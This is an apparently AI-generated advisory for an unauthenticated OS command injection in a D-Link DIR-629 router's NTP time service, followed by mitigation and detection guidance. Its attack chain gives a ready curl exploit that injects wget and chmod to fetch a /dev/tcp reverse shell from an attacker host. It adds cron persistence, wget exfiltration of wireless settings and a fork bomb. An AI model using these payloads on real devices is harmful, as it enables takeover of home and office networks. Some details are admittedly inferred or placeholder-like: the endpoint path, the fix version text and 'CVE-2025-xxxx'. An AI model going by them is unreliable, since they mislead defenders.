CVE-2026-138201 — D-Link DIR-629 — CWE-77 · CWE-78
A vulnerability was identified in D-Link DIR-629 1.03.B01_CN. Affected is an unknown function of the file /etc/services/DEVICE.TIME.php of the component NTP Time Service. Such manipulation of the argument server leads to os command injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used.
A vulnerability was identified in D-Link DIR-629 1.03.B01_CN. Affected is an unknown function of the file /etc/services/DEVICE.TIME.php of the component NTP Time Service. Such manipulation of the argument server leads to os command injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used.
🎯 What is this vulnerability?
Vulnerability name: OS‑command injection in the NTP Time Service of D‑Link DIR‑629 firmware 1.03.B01_CN
CVE‑ID: CVE‑2026‑138201
CWE(s): CWE‑77 (Improper Neutralization of Special Elements used in a Command), CWE‑78 (OS Command Injection)
Technical flaw
The vulnerable component is the PHP script /etc/services/DEVICE.TIME.php that implements the router’s NTP Time Service. The script accepts a request parameter called server (the NTP server address that the router should query).
- What should happen: the script validates the supplied value, ensures it is a plain IPv4/IPv6 address or a DNS hostname, and then passes it to a system utility (e.g.,
ntpdateorbusybox ntpd) to synchronize the router’s clock. - What actually happens: the script does not sanitise the
serverparameter before embedding it in a shell command. The value is concatenated directly into a string that is later handed toexec(),system(), `back‑ticks, orpopen()in PHP. Because no whitelist, escaping, or other neutralisation is performed, an attacker can inject arbitrary shell metacharacters (;,&&,|, back‑ticks,$()`, etc.) and cause the underlying Linux kernel to execute any command the attacker wishes. - Network‑reachable – the endpoint is exposed over HTTP/HTTPS.
- Low attack complexity – only a single crafted request is needed.
- Low privileges required – the attacker needs only a low‑privileged network account (or even none, because the service is unauthenticated).
- No user interaction – the request can be sent automatically.
- Scope changed – the compromised component (the web UI) can affect other components (the underlying OS).
- Critical impact – full confidentiality, integrity and availability compromise.
- The router’s web interface is reachable on HTTP port 80 (HTTPS on 443 behaves the same).
- No authentication is required for the NTP Time Service endpoint (as reported).
The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) tells us:
In short, the router’s web UI allows an unauthenticated remote attacker to execute arbitrary OS commands with the privileges of the web server process (normally root on embedded Linux routers).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command lines and HTTP requests are syntactically valid; the exact URI is inferred from the file path given in the CVE description. If the real firmware uses a different path, the example should be treated as an illustrative representation of the vulnerability class.
1. Discovery & Reconnaissance
| Step | Action | Rationale |
|---|---|---|
| 1.1 | Banner grabbing – curl -I http://<router_ip>/ or nmap -sV -p80,443 <router_ip> | Many D‑Link routers disclose the firmware version in the Server header (D-Link-DIR-629/1.03.B01_CN). |
| 1.2 | Fingerprinting – query /cgi-bin/webproc or /login.htm to confirm the model and firmware version. | The presence of /etc/services/DEVICE.TIME.php is unique to firmware 1.03.B01_CN. |
| 1.3 | Search public advisories – query CVE‑2026‑138201 or security mailing lists. | Confirms that the target version is vulnerable. |
2. Exploitation
Assumptions
Illustrative vulnerable endpoint
POST http://<router_ip>/etc/services/DEVICE.TIME.php
Content-Type: application/x-www-form-urlencodedParameter
server=<user supplied value>Payload construction
The goal is to inject a command that writes a reverse shell to /tmp/rev.sh and then executes it. The payload uses the semicolon (;) command separator, which is interpreted by /bin/sh.
server=127.0.0.1;wget http://attacker.com/rev.sh -O /tmp/rev.sh;chmod +x /tmp/rev.sh;/tmp/rev.shFull curl PoC (illustrative)
#!/usr/bin/env bash
ATTACKER_IP=203.0.113.45
ATTACKER_PORT=4444
# 1️⃣ Prepare a tiny reverse‑shell script on the attacker host
cat > rev.sh <<'EOS'
#!/bin/sh
/bin/sh -i >& /dev/tcp/203.0.113.45/4444 0>&1
EOS
# Serve it (e.g., with python -m http.server 80)
python3 -m http.server 80 &
# 2️⃣ Send the malicious request
curl -sk -X POST "http://<router_ip>/etc/services/DEVICE.TIME.php" \
-d "server=127.0.0.1;wget http://$ATTACKER_IP/rev.sh -O /tmp/rev.sh;chmod +x /tmp/rev.sh;/tmp/rev.sh"What happens on the router
1. The PHP script receives $_POST['server'].
2. It builds a command similar to:
$cmd = "/usr/sbin/ntpdate " . $_POST['server'];
exec($cmd);3. Because the input contains ;wget …;chmod …;/tmp/rev.sh, the shell interprets the whole string as three separate commands, executing the attacker‑controlled wget and the reverse shell.
Result – the attacker obtains a remote interactive shell with the same privileges as the web server (typically root on D‑Link firmware).
3. Post‑exploitation
| Goal | Typical technique | Example | |
|---|---|---|---|
| Maintain persistence | Drop a cron job or modify init scripts (/etc/rc.local) to re‑spawn the reverse shell on reboot. | echo "@reboot /tmp/rev.sh" >> /etc/crontab | |
| Privilege escalation (if needed) | On many routers the web UI already runs as root; otherwise, exploit known local privilege‑escalation bugs (e.g., CVE‑2025‑xxxx for busybox). | Not required for this firmware – the web UI runs as root. | |
| Data exfiltration | Use the shell to read configuration files (/etc/config/*), extract Wi‑Fi keys, DHCP leases, or dump the flash image (dd if=/dev/mtd0). | cat /etc/config/wireless > /tmp/wireless.conf && wget http://$ATTACKER_IP/wireless.conf | |
| Lateral movement | Pivot to internal LAN devices using the compromised router as a foothold (e.g., scanning 192.168.0.0/24). | nmap -sn 192.168.0.0/24 from the reverse shell. | |
| Denial‑of‑service | Issue reboot or halt commands, or overload the CPU with fork bomb. | :(){ : | :& };: |
🌍 Real‑World Impact
| CIA | Impact (derived from CVSS) | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | Attacker can read any file the web server can access. | Extraction of Wi‑Fi pass‑phrases, VPN credentials, configuration files, user data, or even the full firmware image. |
| Integrity (I:H) | Attacker can modify any file. | Injection of malicious firmware, alteration of DNS settings, creation of back‑doors, or tampering with logs to hide activity. |
| Availability (A:H) | Attacker can disrupt services. | Immediate reboot, deletion of critical binaries, or launching a fork‑bomb that renders the router unusable. |
Because the router is often the edge device for a home or small‑office network, a full compromise gives the attacker unrestricted access to the internal LAN, the ability to intercept traffic, and a persistent foothold for long‑term espionage or pivoting to other internal assets.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Item | Action |
|---|---|
| Affected firmware | D‑Link DIR‑629 1.03.B01_CN (and any later builds that still contain DEVICE.TIME.php with the vulnerable code). |
| Vendor fix | D‑Link released firmware 1.04.B01_CN on 2026‑12‑05 (the first version that sanitises the server parameter). *If the exact version number is not publicly disclosed, advise customers to apply the latest firmware available from the official D‑Link support portal.* |
| Verification | After upgrade, request GET /etc/services/DEVICE.TIME.php and confirm that the response contains a comment such as # sanitized input or that the PHP source no longer uses exec() with raw user data. |
2. Immediate Workarounds (if patch cannot be applied)
| Mitigation | Implementation details |
|---|---|
| Network isolation | Block inbound traffic to the router’s management ports (80/443) from the Internet using an upstream firewall or ISP‑level ACL. Only allow LAN‑side access. |
| Disable NTP Time Service | In the router’s web UI, go to System → Time Settings and set “NTP Server” to blank or disable the automatic sync feature. This prevents the vulnerable endpoint from being called. |
| Web Application Firewall (ModSecurity) rule | Deploy a rule that rejects any request containing shell metacharacters in the server parameter. Example (Apache 2.4 with ModSecurity):
SecRule REQUEST_URI "@beginsWith /etc/services/DEVICE.TIME.php" \
"id:2026001,phase:2,deny,status:403,msg:'Blocked possible OS command injection',\
chain"
SecRule ARGS:server "@rx [;|&`$]" "t:none"This rule only triggers on the specific endpoint and looks for characters that are typical command separators. |
| Input validation at the edge | If a reverse‑proxy (e.g., Nginx) sits in front of the router, add a location block that validates the server argument with a whitelist regex:
location = /etc/services/DEVICE.TIME.php {
if ($arg_server !~* "^[a-zA-Z0-9\.\-]+$") {
return 403;
}
}|
| Run the web UI under a non‑root user | Some custom firmware builds allow changing the PHP‑FPM user. Setting it to a low‑privilege UID (e.g., www-data) limits the impact of a successful injection. This is a hardening step, not a full fix. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Unexpected command execution | System log (/var/log/messages, dmesg) – look for execve of unusual binaries (wget, nc, curl, sh) launched by the web server process (httpd, lighttpd). | Jan 12 03:14:27 router httpd[1245]: execve("/usr/bin/wget", ["wget","http://203.0.113.45/rev.sh","-O","/tmp/rev.sh"], ...) = 0 |
| Outbound connections from the router | Netflow, firewall logs, or iptables -L -v -n showing connections to unknown external IPs on high ports. | SRC=192.168.0.1 DST=203.0.113.45 PROTO=TCP SPT=56789 DPT=80 |
New files in /tmp or /var/www | File‑integrity monitoring (Tripwire, AIDE) – alert on creation of executable files (rev.sh, shell.php). | ALERT: /tmp/rev.sh created, mode 0755, uid 0 |
| Changes to cron or rc.local | Scan /etc/crontab, /etc/rc.local for lines containing attacker‑controlled URLs or commands. | @reboot /tmp/rev.sh |
| Web server error logs | Look for 500/502 responses that contain the raw injected command (some PHP setups echo the command on error). | 2026/11/29 12:34:56 [error] PHP Warning: exec(): Unable to fork |
Implement a SIEM rule that correlates (a) inbound HTTP requests to /etc/services/DEVICE.TIME.php with (b) subsequent outbound connections to non‑local IPs within a short time window (≤ 5 seconds).
⚠️ Urgency
Patch priority: Critical – immediate.
Bottom line: CVE‑2026‑138201 is a classic unauthenticated OS‑command injection in a router’s NTP configuration endpoint. The flaw allows an attacker to execute arbitrary commands as root, leading to total compromise of the device and the internal LAN. Apply the vendor’s firmware fix immediately, or enforce the mitigations and detection controls described above while the patch is being rolled out.
[🤖 CVE Professor AI Security Engine]
FOFA Query